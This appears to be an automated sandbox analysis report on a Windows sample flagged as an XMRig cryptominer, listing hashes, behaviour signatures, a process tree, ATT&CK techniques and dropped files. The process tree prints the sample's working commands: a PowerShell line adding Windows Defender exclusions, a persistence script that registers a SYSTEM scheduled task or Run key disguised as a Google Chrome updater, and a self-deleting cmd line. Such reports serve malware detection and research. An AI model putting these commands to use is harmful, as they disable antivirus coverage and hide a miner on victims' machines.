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11-07-2023 08:40

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Analysis

  • max time kernel
    648s
  • max time network
    1798s
  • platform
    windows7_x64
  • resource
    win7-20230220-en
  • resource tags

    arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
  • submitted
    31-03-2023 22:06

General

  • Target

    qM5GMXBk6hJE6Y5e.exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Score
10/10

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 31 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 31 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1248
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:1604
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:824
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:592
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:1800
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:292
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e.exe"
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:1324
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:364
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:1992
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1860
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:1720
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1868
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:860
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:1676
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:868
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1672
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {C04594F9-BFC8-458A-A12B-8ACAE1076DD1} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1244
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:624

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Execution

        Scheduled Task

        1
        T1053

        Persistence

        Scheduled Task

        1
        T1053

        Privilege Escalation

        Scheduled Task

        1
        T1053

        Discovery

        Query Registry

        1
        T1012

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Program Files\Google\Chrome\updater.exe
          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • C:\Program Files\Google\Chrome\updater.exe
          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • C:\Program Files\Google\Libs\g.log
          Filesize

          198B

          MD5

          37dd19b2be4fa7635ad6a2f3238c4af1

          SHA1

          e5b2c034636b434faee84e82e3bce3a3d3561943

          SHA256

          8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

          SHA512

          86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          Filesize

          7KB

          MD5

          fd6c690f1310e008e03b75a64cb91e2f

          SHA1

          15edc1ca0040e42313f0e8def34f28e2faab9e35

          SHA256

          bacf662b57bfcbe79d2b904b6f2a24185f75a298f78b6bc7839e94f99613aec6

          SHA512

          3ba98426070e95c4bcd48604c43bae2683e12c1940dce696c4cb79ee98760534034835e364a88a4d2b256e1b6ed4a5c878a9af0f2570e8165c21efe2dc243760

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
          Filesize

          7KB

          MD5

          fd6c690f1310e008e03b75a64cb91e2f

          SHA1

          15edc1ca0040e42313f0e8def34f28e2faab9e35

          SHA256

          bacf662b57bfcbe79d2b904b6f2a24185f75a298f78b6bc7839e94f99613aec6

          SHA512

          3ba98426070e95c4bcd48604c43bae2683e12c1940dce696c4cb79ee98760534034835e364a88a4d2b256e1b6ed4a5c878a9af0f2570e8165c21efe2dc243760

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DPBSLSZYV5VXJUOU7ZEE.temp
          Filesize

          7KB

          MD5

          fd6c690f1310e008e03b75a64cb91e2f

          SHA1

          15edc1ca0040e42313f0e8def34f28e2faab9e35

          SHA256

          bacf662b57bfcbe79d2b904b6f2a24185f75a298f78b6bc7839e94f99613aec6

          SHA512

          3ba98426070e95c4bcd48604c43bae2683e12c1940dce696c4cb79ee98760534034835e364a88a4d2b256e1b6ed4a5c878a9af0f2570e8165c21efe2dc243760

        • \??\PIPE\srvsvc
          MD5

          d41d8cd98f00b204e9800998ecf8427e

          SHA1

          da39a3ee5e6b4b0d3255bfef95601890afd80709

          SHA256

          e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

          SHA512

          cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

        • \Program Files\Google\Chrome\updater.exe
          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • memory/624-88-0x000000013F330000-0x000000013F541000-memory.dmp
          Filesize

          2.1MB

        • memory/624-99-0x000000013F330000-0x000000013F541000-memory.dmp
          Filesize

          2.1MB

        • memory/824-70-0x000000001B180000-0x000000001B462000-memory.dmp
          Filesize

          2.9MB

        • memory/824-71-0x0000000002000000-0x0000000002008000-memory.dmp
          Filesize

          32KB

        • memory/824-72-0x00000000024E0000-0x0000000002560000-memory.dmp
          Filesize

          512KB

        • memory/824-74-0x00000000024E0000-0x0000000002560000-memory.dmp
          Filesize

          512KB

        • memory/824-73-0x00000000024E0000-0x0000000002560000-memory.dmp
          Filesize

          512KB

        • memory/1604-76-0x000000013F440000-0x000000013F651000-memory.dmp
          Filesize

          2.1MB

        • memory/1604-54-0x000000013F440000-0x000000013F651000-memory.dmp
          Filesize

          2.1MB

        • memory/1672-105-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-116-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-164-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-162-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-160-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-158-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-156-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-154-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-152-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-150-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-148-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-146-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-100-0x00000000000B0000-0x00000000000D0000-memory.dmp
          Filesize

          128KB

        • memory/1672-101-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-144-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-103-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-142-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-106-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-140-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-108-0x0000000000260000-0x0000000000280000-memory.dmp
          Filesize

          128KB

        • memory/1672-109-0x0000000000770000-0x0000000000790000-memory.dmp
          Filesize

          128KB

        • memory/1672-110-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-112-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-113-0x0000000000260000-0x0000000000280000-memory.dmp
          Filesize

          128KB

        • memory/1672-114-0x0000000000770000-0x0000000000790000-memory.dmp
          Filesize

          128KB

        • memory/1672-138-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-118-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-120-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-122-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-124-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-126-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-128-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-130-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-132-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-134-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1672-136-0x0000000140000000-0x00000001407F4000-memory.dmp
          Filesize

          8.0MB

        • memory/1688-63-0x0000000002710000-0x0000000002790000-memory.dmp
          Filesize

          512KB

        • memory/1688-59-0x000000001B0B0000-0x000000001B392000-memory.dmp
          Filesize

          2.9MB

        • memory/1688-60-0x0000000002060000-0x0000000002068000-memory.dmp
          Filesize

          32KB

        • memory/1688-61-0x0000000002710000-0x0000000002790000-memory.dmp
          Filesize

          512KB

        • memory/1688-62-0x0000000002710000-0x0000000002790000-memory.dmp
          Filesize

          512KB

        • memory/1688-64-0x000000000271B000-0x0000000002752000-memory.dmp
          Filesize

          220KB

        • memory/1800-83-0x0000000002744000-0x0000000002747000-memory.dmp
          Filesize

          12KB

        • memory/1800-84-0x000000000274B000-0x0000000002782000-memory.dmp
          Filesize

          220KB

        • memory/1860-92-0x00000000010AB000-0x00000000010E2000-memory.dmp
          Filesize

          220KB

        • memory/1860-91-0x00000000010A4000-0x00000000010A7000-memory.dmp
          Filesize

          12KB

        • memory/1868-102-0x0000000140000000-0x0000000140016000-memory.dmp
          Filesize

          88KB

        • memory/1868-107-0x0000000140000000-0x0000000140016000-memory.dmp
          Filesize

          88KB

        • memory/1992-89-0x0000000001084000-0x0000000001087000-memory.dmp
          Filesize

          12KB

        • memory/1992-90-0x000000000108B000-0x00000000010C2000-memory.dmp
          Filesize

          220KB